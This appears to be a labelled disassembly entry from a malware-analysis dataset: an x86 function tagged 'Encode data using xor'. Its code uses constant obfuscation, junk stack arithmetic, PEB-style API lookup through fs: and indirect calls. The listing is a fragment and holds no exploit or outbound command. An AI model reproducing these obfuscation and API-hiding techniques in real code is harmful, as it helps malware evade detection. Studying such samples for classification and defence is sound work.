Function at 0x459078
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0xfffffffc
add esp, ecx
mov ecx, 0
xor ecx, esp
mov eax, 0
xor eax, ecx
mov dword [eax], ebx
mov edx, edi
push edx
mov eax, dword [esp]
add esp, 4
push 0x6ad670
mov ebx, 0x356b3a5a
shr ebx, 7
pop ecx
xor ebx, ecx
sub esp, ebx
mov dword [esp], eax
push 0xff5a0da8
mov edi, 0x14be4a9e
shr edi, 5
pop eax
xor edi, eax
lea esp, [esp + edi]
mov edi, esp
push edi
pop ecx
mov dword [ecx], esi
mov eax, 0x382d3a6
add eax, 0xcd
push eax
xor eax, eax
or eax, 0x382d46b2
mov edx, eax
shr edx, 4
mov eax, esp
add eax, 0x14
dec eax
mov esi, dword [eax - 0x13]
mov eax, 4
add esp, eax
xor edx, esi
mov edi, dword fs:[edx]
push 0xf9cc3472
mov eax, 0x633cba25
shr eax, 4
pop ebx
xor eax, ebx
sub edi, eax
mov edx, 0x212ed7b6
add edx, 0xf8
push edx
xor ecx, ecx
or ecx, 0x425db15c
shr ecx, 1
jmp 0x467baf
add esi, 0xe8
push esi
mov ecx, 0x3de80189
shr ecx, 3
pop edi
xor ecx, edi
sub edx, ecx
pop edi
push 0x8726f89
mov eax, 0x21c9be2f
shr eax, 2
pop ebx
xor eax, ebx
add edi, eax
push edi
pop eax
xchg esi, eax
mov ecx, 0
mov eax, 4
xor ecx, eax
sub esp, ecx
mov dword [esp], esi
jmp 0x467a73
pop edi
push 0x2485354
mov esi, 0x12429aa4
shr esi, 3
pop eax
xor esi, eax
xor esi, edi
xor edi, edi
add edi, dword [esi]
and edi, 0xffff
lea edi, [edi + edi]
mov edx, 0x44ce5a
add edx, 0x21
push edx
mov ebx, 0x899cf7b
mov eax, ebx
shr eax, 5
pop ecx
xor eax, ecx
xor eax, edi
add edi, eax
pop eax
add eax, edi
xor ebx, ebx
jmp 0x46813c
mov dword [edi], ebx
mov esi, dword [esp]
sub esp, 0xfffffffc
add edx, esi
xor ebx, ebx
add ebx, 0x26e6910d
shr ebx, 2
mov edi, ebx
xor edi, 0xffffffff
and edi, 0x9b9a463
and ebx, 0xf6465b9c
or ebx, edi
lea edx, [edx + ebx]
sub ebx, ebx
mov ecx, 0x84ba8669
sub ebx, ecx
shr ebx, 5
lea eax, [ebx]
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
and eax, 0
or eax, esi
and eax, 0xfc25d430
and ebx, 0x3da2bcf
or ebx, eax
lea ebx, [ebx + edx]
sub esi, esi
add esi, dword [ebx]
sub ebx, ebx
lea ebx, [ebx + esi]
push 0x18bc3e1
mov ecx, 0x62f0f84d
shr ecx, 6
pop esi
xor ecx, esi
xor ecx, dword [esp]
lea eax, [ecx]
add ebx, eax
mov esi, ebx
mov eax, esi
xchg edi, eax
mov esi, 0x676504cb
shr esi, 3
add esi, 0xf3135f6b
jmp 0x467e18
xor ecx, ecx
add ecx, 0x1c2014d
xor ecx, ebx
add esp, ecx
mov esi, 0xfffffffd
add esi, 0x43
push esi
mov ebx, 0x10c4
add ebx, 0xffffff3c
push ebx
mov edx, 0xe3cc
add edx, 0xd7
push edx
mov ecx, 0x61
sub ecx, 0x61
push ecx
call eax
sub edx, edx
add edx, dword [esp]
mov edi, 0xfffffffc
sub esp, edi
xor edi, edi
or edi, 0x716cb123
shr edi, 6
xor ecx, ecx
add ecx, 0x1c5b2c4
xor ecx, edi
xor ecx, eax
mov edi, ecx
sub esp, 4
mov dword [esp], edi
pop esi
mov edi, esi
mov eax, edi
add esp, 0xfffffffc
mov dword [esp], eax
mov esi, edx
sub esp, 4
mov dword [esp], esi
pop edi
mov ebx, edi
mov eax, ebx
mov esi, 4
sub esp, esi
mov dword [esp], eax
add edx, 0x12
add edx, 0xee
mov eax, 0xe567
jmp 0x467f3c
mov edx, 0xe16cdeb7
sub ecx, edx
mov edx, esp
dec edx
mov eax, dword [edx + 1]
push eax
pop esi
mov edx, 4
mov eax, 0
xor edx, eax
lea esp, [esp + edx]
mov eax, 0x67f8dfc1
add eax, 0xca
push eax
sub ecx, ecx
or ecx, 0x3fe4cd24
shr ecx, 5
pop edx
xor ecx, edx
pop edi
sub ecx, ecx
or ecx, 0x7422af8
shr ecx, 6
mov edx, 0x7fa2e636
shr edx, 6
mov eax, 0x746cee63
xor eax, edx
xor ecx, eax
mov ebx, 0
mov eax, 0
xor ebx, eax
xor ebx, dword [esp]
mov eax, 0x701b1ad9
shr eax, 5
xor eax, 0x380d8d2
lea esp, [esp + eax]
lea esp, [esp + 4]
jmp dword [esp - 4]
mov ebx, 0x553e3255
shr ebx, 1
mov edx, 0x2a9f192a
xor edx, ebx
xor edx, dword [esp]
mov esi, 0x7585cd41
shr esi, 4
xor esi, 0x7585cd0
add esp, esi
mov eax, 0xfe5e4615
add eax, 0x77
push eax
xor ebx, ebx
sub ebx, 0xe5e46898
shr ebx, 4
pop esi
xor ebx, esi
sub edx, ebx
xor ecx, ecx
add ecx, edx
mov eax, 4
sub esp, eax
mov edi, esp
xchg edi, esi
mov dword [esi], ecx
mov ebx, edx
mov edi, ebx
xchg ecx, edi
push 0x2fea1dfc
mov esi, 0x5fd43b8a
shr esi, 1
pop edi
xor esi, edi
sub ecx, esi
mov ebx, 0x1d34d335
shr ebx, 2
mov esi, 0xf8b2cb32
xor esi, ebx
add ecx, esi
mov eax, dword [ecx + 0x3a]
and eax, 0xff
xor eax, 0x4e
xor esi, esi
or esi, 0
mov edi, 0
jmp 0x467b10
mov edi, dword [esp + 0x20]
mov edi, dword [esp + 0x20]
xor edi, edi
add edi, dword [esp + 0x20]
mov edx, esp
mov ecx, edx
mov ebx, ecx
mov edx, 0xa48ca2
shr edx, 5
mov ecx, 0xfffadb99
xor ecx, edx
lea esp, [esp + ecx]
mov dword [esp], ebx
call edi
mov edx, 0x64b0e2e9
shr edx, 2
xor edx, 0xe6d3c74e
sub esp, edx
mov ecx, esp
push ecx
pop edi
mov ebx, 0x56c5c661
shr ebx, 7
xor ebx, 0xff527470
add esp, ebx
mov dword [esp], edi
mov edx, eax
xchg edx, ecx
mov edx, ecx
xchg ebx, edx
mov edx, ebx
xchg ecx, edx
mov edx, ecx
sub esp, 4
mov dword [esp], edx
mov esi, 0
xor esi, dword [esp + 0x20]
push esi
pop ecx
lea edx, [ecx]
xchg ebx, edx
call ebx
xor ebx, ebx
add ebx, 0x1c2015de
shr ebx, 4
jmp 0x459250
mov esi, 0x6877647
add esi, 0x44
push esi
xor ebx, ebx
or ebx, 0x1a1dda2c
shr ebx, 2
mov ecx, dword [esp]
sub esp, 0xfffffffc
xor ebx, ecx
xor ebx, dword [edx]
xor ecx, ecx
add ecx, dword [esp + 8]
add ebx, ecx
xor eax, eax
or eax, 0x1b99271b
shr eax, 2
mov esi, 0x6e649c3
mov ecx, esi
xor ecx, eax
add ebx, ecx
lea edi, [ebx]
mov eax, 0xffffffae
add edi, eax
mov ecx, dword [edi + 0x52]
lea ebx, [ecx]
mov edi, 0x64b98850
add edi, 0xc
push edi
mov ecx, 0x7c7599d
shr ecx, 3
pop esi
xor ecx, esi
xor ebx, ecx
xor ecx, ecx
or ecx, 0x17cb8428
shr ecx, 5
mov edi, ecx
mov esi, edi
mov edi, 0xffffffff
xor esi, edi
and esi, 0xff41a3de
and ecx, 0xbe5c21
or ecx, esi
and ecx, ebx
je 0x45916b
mov esi, 0xf842fee5
jmp 0x459129
xor esi, edi
sub esi, eax
je 0x467b39
xor al, 0x20
xor ebx, ebx
or ebx, 0x1691807
shr ebx, 3
sub esi, esi
lea esi, [esi + 0x2d2300]
xor esi, ebx
cmp esi, eax
jne 0x467b98
mov ebx, dword [esp]
mov edi, ebx
mov eax, edi
lea esp, [esp + 4]
xor ebx, ebx
or ebx, 0x15fd6115
shr ebx, 5
xor edi, edi
add edi, 0xff5014f2
xor edi, ebx
sub eax, edi
mov ebx, 0x29f3324f
shr ebx, 4
xor ebx, 0x29f3324
xor ebx, eax
mov ecx, 0xffffffff
add ebx, ecx
mov edi, dword [ebx + 1]
xor ebx, ebx
or ebx, 0x200001
mov edx, 0x120032
mov ecx, edx
xor ebx, ecx
xor edi, ebx
add edi, 0
je 0x467db6
jmp 0x467ba9
push esp
pop ebx
add ebx, 0xb
mov ecx, dword [ebx - 0xb]
sub esp, 0xfffffffc
pop ecx
jmp 0x467d8b
pop esi
xor ecx, esi
xor ecx, dword [edi]
xor edi, edi
or edi, 0x1ff86c6a
shr edi, 7
add edi, 0xffc19e6d
add edi, 0xfffe70af
sub ecx, edi
sub esi, esi
add esi, dword [ecx]
mov ebx, 0xfbdee2ec
add ebx, 0x9c
push ebx
mov eax, 0x4211c7c1
mov edi, eax
shr edi, 4
mov ecx, dword [esp]
add esp, 4
xor edi, ecx
sub esi, edi
mov edi, esi
lea eax, [edi]
mov ebx, 0xfffffffc
add esp, ebx
mov dword [esp], eax
push 0xf6a69
mov edx, 0x1ed4d31
shr edx, 5
pop ecx
xor edx, ecx
xor edx, dword [esp]
push 0xcf1690a2
mov eax, 0x61d2debc
shr eax, 1
pop ecx
xor eax, ecx
sub esp, eax
push 0x4627cd7
mov eax, 0x4627cd3d
shr eax, 4
pop esi
xor eax, esi
sub esp, eax
jmp 0x46809e
xor edi, edi
or edi, 0x7abe1e1e
shr edi, 5
pop eax
xor edi, eax
sub edi, esi
jne 0x467ba9
mov edi, 4
add edx, edi
xor eax, eax
add eax, 0
xor ebx, ebx
add ebx, 0
xor eax, ebx
xor eax, dword [edx]
lea ebx, [eax]
mov ecx, 4
sub esp, ecx
mov dword [esp], ebx
mov ebx, 0
mov ecx, 0
xor ebx, ecx
xor ebx, dword [eax]
push ebx
pop ecx
push ecx
pop edi
and edi, 0xff
mov eax, edi
push eax
mov esi, dword [esp]
add esp, 4
mov ecx, 0x2f23a3da
shr ecx, 4
add ecx, 0xf7333a2b
xor esi, ecx
mov eax, 0x5da8b97
xor esi, eax
and esi, 0x6b
and edi, 0xffffff94
or edi, esi
add edi, 0
je 0x467950
xor edi, 0x20
add edi, 0
jne 0x467b98
jmp 0x467950
xor esi, edi
sub esp, esi
mov esi, 0
xor esi, esp
add esi, 0x25
mov ebx, dword [esi - 0x25]
push 0x1723dad
mov edi, 0x2e47b538
shr edi, 5
pop eax
xor edi, eax
add esp, edi
mov byte [edx], cl
xor edi, edi
or edi, 0x500faa28
shr edi, 4
mov esi, edi
xor esi, 0xffffffff
and esi, 0xfaff055d
and edi, 0x500faa2
or edi, esi
lea edx, [edx + edi]
pop ecx
dec ecx
xor esi, esi
or esi, 0
mov eax, 0
mov edi, eax
xor esi, edi
cmp esi, ecx
jne 0x4681ef
xor edi, edi
add edi, 0x5decebf
xor ebx, ebx
or ebx, 0xfa213140
xor edi, ebx
sub edx, edi
add esp, 0xfffffffe
add esp, 0xfffffffe
mov edi, 0
xor edi, esp
xchg edi, esi
mov dword [esi], edx
pop eax
call eax
sub ecx, ecx
lea ecx, [ecx + 0x60e55956]
shr ecx, 3
jmp 0x4592f6
lea esi, [ecx]
lea esi, [esi + 0x35]
lea esi, [esi - 1]
mov edi, dword [esi - 0x34]
mov eax, 0
xor eax, edi
mov ecx, 0
xor ecx, eax
mov eax, ecx
mov edx, 4
sub esp, edx
mov dword [esp], eax
jmp 0x467c02
pop edi
mov ecx, edi
mov esi, ecx
xchg esi, eax
mov ebx, 0x4f48efe1
shr ebx, 4
mov ecx, 0x4f48ea4
xor ecx, ebx
sub eax, ecx
dec eax
mov edx, dword [eax + 0x5b]
mov edi, edx
mov ebx, 0
mov esi, 1
xor ebx, esi
sub edi, ebx
mov eax, dword [edi + 1]
push 0xfc9f8f35
mov esi, 0x36070dd4
shr esi, 4
pop edi
xor esi, edi
sub eax, esi
mov esi, 0x429fd285
shr esi, 7
mov edi, 0x853fa5
xor edi, esi
xor edi, eax
lea edi, [edi + 0x12]
dec edi
mov ecx, dword [edi - 0x11]
jmp 0x467ea5
sub esp, esi
mov dword [esp], edi
xor ebx, ebx
or ebx, 4
xor edi, edi
add edi, 0
xor esi, esi
add esi, edi
xor ebx, esi
lea ebx, [ebx + edx]
mov edi, ebx
push edi
pop esi
mov eax, 0x2864fe9
add eax, 0xba
push eax
mov eax, 0x50ca147b
mov ebx, eax
shr ebx, 5
pop edi
xor ebx, edi
xor ebx, dword [esi]
sub edi, edi
add edi, dword [esp + 4]
mov eax, 0
xor eax, edi
mov ecx, eax
xchg ecx, esi
add ebx, esi
push ebx
pop eax
mov edi, 0
xor edi, eax
push 0x120193a
mov ecx, 0x240327d8
shr ecx, 5
pop esi
xor ecx, esi
sub esp, ecx
mov dword [esp], edi
mov ecx, edx
mov eax, 1
sub ecx, eax
mov edx, dword [ecx + 1]
xor eax, eax
add eax, dword [esp + 8]
add edx, eax
jmp 0x467a73
mov edx, 0x17bee6de
shr edx, 1
xor edx, 0xbdf736b
sub esp, edx
sub edi, edi
add edi, esp
mov dword [edi], ecx
xor eax, eax
lea eax, [eax + ecx]
mov edx, 0x5da42854
shr edx, 6
mov ecx, 0xe2b74bf
xor edx, ecx
xor edx, 0xf5de422
lea eax, [eax + edx]
mov edi, eax
mov ecx, edi
lea esi, [ecx]
mov edi, 1
sub esi, edi
mov edx, dword [esi + 1]
mov edi, 0
mov esi, edi
mov ebx, 0
mov ecx, ebx
xor esi, ecx
xor esi, dword [esp]
add edx, esi
mov esi, 0x3ea20738
shr esi, 4
xor ecx, ecx
add ecx, 0xfc15dffb
xor ecx, esi
sub edx, ecx
lea esi, [edx]
mov eax, 0x1d
sub esi, eax
mov eax, 0x11
sub esi, eax
lea esi, [esi - 1]
mov edx, dword [esi + 0x2f]
xor ecx, ecx
add ecx, dword [esp]
push ecx
pop ebx
add esp, 0xfffffffc
mov edi, esp
jmp 0x4591b4
add eax, 0xffffff32
push eax
mov al, byte [edx]
mov byte [ecx], al
mov edi, 0x313eff3f
mov eax, 0xcec100c0
xor edi, eax
sub edx, edi
xor esi, esi
sub esi, 0xb194c062
shr esi, 5
xor edi, edi
add edi, 0xfd8ca603
xor edi, esi
sub ecx, edi
mov esi, 0
xor esi, esp
sub esi, 1
mov eax, dword [esi + 1]
mov ebx, 0x1496167c
mov esi, 0xeb69e980
xor ebx, esi
sub esp, ebx
xor esi, esi
add esi, 0x46331eec
mov ebx, 0xb9cce113
mov edi, ebx
xor esi, edi
lea eax, [eax + esi]
mov ebx, 0x21c2c31f
shr ebx, 3
mov edi, 0xfbc7a79f
xor edi, ebx
lea esp, [esp + edi]
sub esi, esi
add esi, esp
mov dword [esi], eax
test eax, eax
jne 0x467f43
pop ebx
sub ecx, ecx
mov edx, 0x4481
add ecx, edx
mov edx, 0xa018
mov edi, edx
mov ebx, 0
xor ebx, edi
jmp 0x4681ce
sub edx, 0xc1ab6f80
shr edx, 6
mov esi, 0xf95232
sub edx, esi
add esp, edx
mov edx, 0x34240574
mov esi, 0xcbdbfa88
xor edx, esi
add esp, edx
mov ecx, 0x4535c752
shr ecx, 6
xor ecx, 0x114d71d
xor ecx, esp
mov dword [ecx], eax
call fcn.00459397
push 0x88d0c2
mov ecx, 0x44686c8c
shr ecx, 7
pop edi
xor ecx, edi
lea ebx, [ebx + ecx]
lea esi, [ebx]
mov edx, 0xfffffffc
add esp, edx
mov ecx, esp
mov dword [ecx], esi
mov ecx, 0xf87ba2ca
add ecx, 0x36
push ecx
mov edi, 0x636f6d19
sub edi, 0xad
push edi
mov ebx, 0x416c60ca
add ebx, 0xab
push ebx
mov ebx, 0x74726911
add ebx, 0x45
push ebx
mov ebx, 0x66f47b89
sub ebx, 0x89
push ebx
mov edx, 0x32336ce7
add edx, 0xffffff7e
push edx
mov ebx, 0x6e7264b2
add ebx, 0x99
push ebx
jmp 0x4679e7
mov edi, esp
mov dword [edi], edx
mov ebx, edx
xchg ebx, eax
xchg eax, edi
mov ebx, 0x5f
add edi, ebx
mov eax, 0x65d4cddf
shr eax, 3
xor eax, 0xf3456644
add edi, eax
mov esi, dword [edi - 0x5e]
push esi
pop edi
add edi, 0xffffffff
mov ecx, dword [edi + 1]
lea edx, [ecx]
mov esi, 0x65cc1ea5
mov edi, esi
shr edi, 6
mov eax, edi
xor eax, 0xffffffff
and eax, 0x1973056
and edi, 0xfe68cfa9
or edi, eax
add edx, edi
mov eax, edx
sub esp, 4
mov dword [esp], eax
pop edi
mov eax, 0x6d5b25c7
shr eax, 1
xor eax, 0xc9526d52
lea edi, [edi + eax]
mov esi, dword [edi + 0x4f]
and esi, 0xffff
xor eax, eax
or eax, 0x7cdc09e6
shr eax, 6
xor edi, edi
or edi, 0x1f3703f
xor edi, eax
xor esi, edi
mov ebx, 0x3d5f101
add ebx, 0xffffffef
push ebx
jmp 0x467c3f
add ebx, eax
sub ebx, 1
mov ecx, dword [ebx + 1]
xor eax, eax
add eax, ecx
pop ebx
lea eax, [eax + ebx]
mov esi, 0xfffffffc
add esp, esi
mov edi, esp
xchg esi, edi
xor edx, edx
add edx, esi
mov dword [edx], eax
mov ecx, 0x4ded304e
add ecx, 0xffffffb2
push ecx
mov edx, 0x417971b9
add edx, 0xa8
push edx
mov ecx, 0x7262693f
add ecx, 0xd
push ecx
mov ecx, 0x64616f78
add ecx, 0xffffffd4
push ecx
mov edi, esp
mov edx, edi
mov esi, edx
xchg ecx, esi
mov edx, 0x72e5c7e7
shr edx, 4
xor edx, 0x72e5c7a
sub esp, edx
mov dword [esp], ecx
lea esi, [ebx]
xor edi, edi
add edi, esi
mov ecx, 0x750aadf8
shr ecx, 1
add ecx, 0xc57aa908
sub esp, ecx
mov dword [esp], edi
call eax
xor edx, edx
jmp 0x467fdf
xor ecx, ebx
xor ebx, ebx
add ebx, dword [esp]
push 0x6455f76
mov edx, 0x6455f727
shr edx, 4
pop eax
xor edx, eax
add esp, edx
pop edx
lea edx, [edx + 0xe498]
mov eax, 0x3a7be699
shr eax, 1
add eax, 0xe2c20cb0
add esp, eax
sub esi, esi
add esi, esp
mov dword [esi], ecx
mov eax, 0x78010326
shr eax, 3
mov edi, 0xf002060
xor edi, eax
sub esp, edi
xor esi, esi
add esi, esp
mov dword [esi], ebx
mov esi, 0x2144dd72
shr esi, 3
xor esi, 0x4289bae
xor esi, edx
mov eax, esi
xchg edi, eax
mov eax, edi
sub esp, 4
mov dword [esp], eax
xor ecx, ecx
mov cl, byte [edx]
add ebx, ecx
mov cl, byte [ebx]
mov esi, 0
xor esi, esp
mov edi, 0x25
sub esi, edi
mov edx, dword [esi + 0x25]
mov esi, 0x1b57592c
mov edi, 0xe4a8a6d0
jmp 0x467ce3